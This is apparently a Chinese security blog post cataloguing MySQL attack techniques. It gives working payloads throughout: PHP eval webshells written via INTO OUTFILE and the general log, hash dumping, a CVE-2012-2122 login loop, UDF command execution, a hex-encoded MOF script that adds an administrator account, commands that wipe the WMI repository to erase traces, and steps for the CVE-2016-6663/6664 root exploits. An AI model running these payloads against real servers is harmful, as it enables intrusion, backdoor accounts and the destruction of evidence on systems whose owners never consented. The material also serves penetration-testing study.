1. 通过mysql写webshell

通过mysql写的shell有很多弊端,比如如果在linux中一般运行mysql的服务权限都是很低的,就算有时候成功写进去有可能是访问时也会返回500,并且需要有写入的路径,所以在windowns下的成功率会高一点。如今5.5以上的版本默认是没有写入的权限的,所以说有时候很鸡肋,不过也算是一个知识点积累一下

into outfile 直接在网站目录下写入webshell

首先必要条件是是否有写入的权限web的绝对路径

  • 具体来说首先判断当前数据库用户有写权限
    show variables like '%secure_file_priv%';
  1. 如果secure_file_priv如果非空,则只能在对应的目录下读文件。
  2. 如果是即可在其他目录写(Linux下有可能是/var/lib/mysql-files/目录可写。可以配合文件包含漏洞利用)
  3. 如果为NULL则不允许导入和导出

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

使用mysql写一句话:
select '<php eval($_POST[yuaneuro])?>' into outfile 'c:\\shell.php'


日志get shell:

  • 前提还是必须有写入的的权限和web的绝对路径,但是不需要当前数据库用户是否拥有权限
  • 原理是通过修改日志文件为webshell
show variables like 'general%'; # 查看当前的日志记录
set global general_log = "ON";  # 开启日志记录
set global general_log_file="C://phpStudy/www/config.php";  # 指定日志文件

然后在查询一下当前日志记录

select "<?php phpinfo();?>";  # 进行一次查询,查询记录就将写到日志文件中,形成一个webshell


尝试访问发现phpinfo解析成功


2. Hash 获取与解密

select host,user,authentication_string from mysql.user;

将获取的mysql hash爆破或者在一些在线网站解密即可


3.mysql身份认证绕过漏洞(CVE-2012-2122)

  • 漏洞原理:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
  • payload:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done


4. UDF 提权

  • UDF(user defined function),即 用户自定义函数 ,是通过添加新的函数,实现自定义功能, 对mysql的功能进行扩充。
  • 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
  1. 可以通过show variables like '%plugin%';来查看插件插件目录
  2. 在sqlmap中自带了udf的动态链接库文件,在/data/udf/mysql下,为了防止被误杀都经过编码处理过,都是不能直接使用的,我们需要使用sqlmap自带的解码工具进行解码,在/extra/cloak/cloak.py下:
# 例如解码64位的Linux动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

在metasploit中,udf的动态链接库文件直接在metasploit根目录/embedded/framework/data/exploits/mysql

  1. 接下来就是将udf的动态链接库文件写入到mysql中,现将源文件转化成hex方便写入
xxd lib_mysqludf_sys_64.so|cut -f 2,3,4,5,6,7,8,9 -d " "| tr -d "\n" | tr -d " "

然后写入到mysql:(注意这里要当secure_file_priv无限制的时候,我们才可以手工写文件到 plugin 目录下的)

select 0x7f454c4602010100... into dumpfile '/usr/lib/mysql/plugin/udf.so';

注意:如果是在docker下搭建的环境记得在启动的时候加上--secure-file-priv='',并且确保/usr/lib/mysql/plugin目录可写

  1. 创建自定义函数并调用命令
create function sys_eval returns string soname 'udf.dll';

然后查看一下是否创建成功:

select * from mysql.func;


最后执行命令即可:

select sys_eval('whoami');

windows指令是直接以管理员的权限运行的,所以这也就是最高权限了。

  1. 删除自定义函数
drop function sys_eval;

mysql不允许外连情况

如果mysql不允许外连,我们可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站

  1. 首先下载Navicat tunnel.zip
  2. ntunnel_mysql.php上传至网站
  3. 连接的时候设置 HTTP 通道,主机写localhost


5. MOF 提权

MOF的提取基本上都是在Windows server 2003之前的系统才可以提权成功,Windows2008以上由于保护机制,较少能够成功。

  • 提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

知道了原理,我们知道提权的前提条件就是mysql对C:/Windows/system32/wbem/mof/路径有写入的权限,然后上传文件,最后文件回自动执行达到提权的目的。

mof脚本的内容:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user yuaneuro P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators yuaneuro /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

核心payload的内容是添加一个hack的用户,密码为P@ssw0rd,并把该用户添加到管理员组。

  • 写入文件:
SELECT 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206861636b6572205040737377307264202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b0a INTO DUMPFILE 'C:/windows/system32/wbem/mof/test.mof';

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:

已经在good目录下了,说明已经执行成功了。

用户也创建成功了

  • 痕迹清理
    因为每隔一段时间都会执行一下命令,所以一般利用完以后就会将他删除。
    我们需要暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt
  • 当然还有更简单的办法,可以使用msf中的模块直接一键利用并且可以自动清理痕迹
    可以利用exploit/windows/mysql/mysql_mof,这里就不写了。

6. 利用启动项提权

大致思路就是将vbs脚本写在windows启动项路径下,具体做法和删除差不多,在这里就不多赘述了。


7. mysql提权条件竞争漏洞(CVE-2016-6663,CVE-2016-6664)

  • CVE-2016-6663 是将www-data提权至mysql
  • CVE-2016-6664 是将mysql提权至root

环境搭建

我们使用tutum/lamp的docker搭建环境,然后再网站更目录下写入一个webshell

echo "<?php @eval(\$_POST['asd']);?>" > /var/www/html/shell.php

连接数据库,创建一个数据库并创建一个用户:

create database test;  # 创建数据库
CREATE USER 'yuaneuro'@'%' IDENTIFIED BY '123456'; # 创建一个用户yuaneuro,密码为123456
grant create,drop,insert,select on test.* to 'yuaneuro'@'%';  # 给用户权限
flush privileges;


安装gcc等依赖工具

apt update && apt install -y wget gcc libmysqlclient-dev

/etc/mysql/conf.d/mysqld_safe_syslog.cnf中的syslog字段删除为提权到root做准备

将www-data提权至mysql

利用CVE-2016-6663,这是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

  1. 上传mysql-privesc-race.c
  2. 然后编译exp:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
  1. 提权:
./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库


4. 运行exp后发现已经被提权到mysql权限,还贴心的给我们提示了如果提权到root可以使用CVE-2016-6662 或者 CVE-2016-6664

将mysql提权至root

利用CVE-2016-6664,导致这个问题的是因为mysql对错误日志以及其他文件处理的不够安全,这些文件可被任意替换成系统文件,从而被利用获取root权限。

  1. 上传mysql-chowned.sh
  2. 查看/etc/mysql/conf.d/mysqld_safe_syslog.cnf是否有syslog字段,如果有,则无法利用
  3. 给予mysql-chowned.sh执行权限
chmod 777 mysql-chowned.sh
  1. 运行
./mysql-chowned.sh /var/log/mysql/error.log

(挖一个坑,这里未复现成功)


参考资料:MySQL 漏洞利用与提权

Last modification:May 26th, 2021 at 03:44 pm
如果觉得我的文章对你有用,请随意赞赏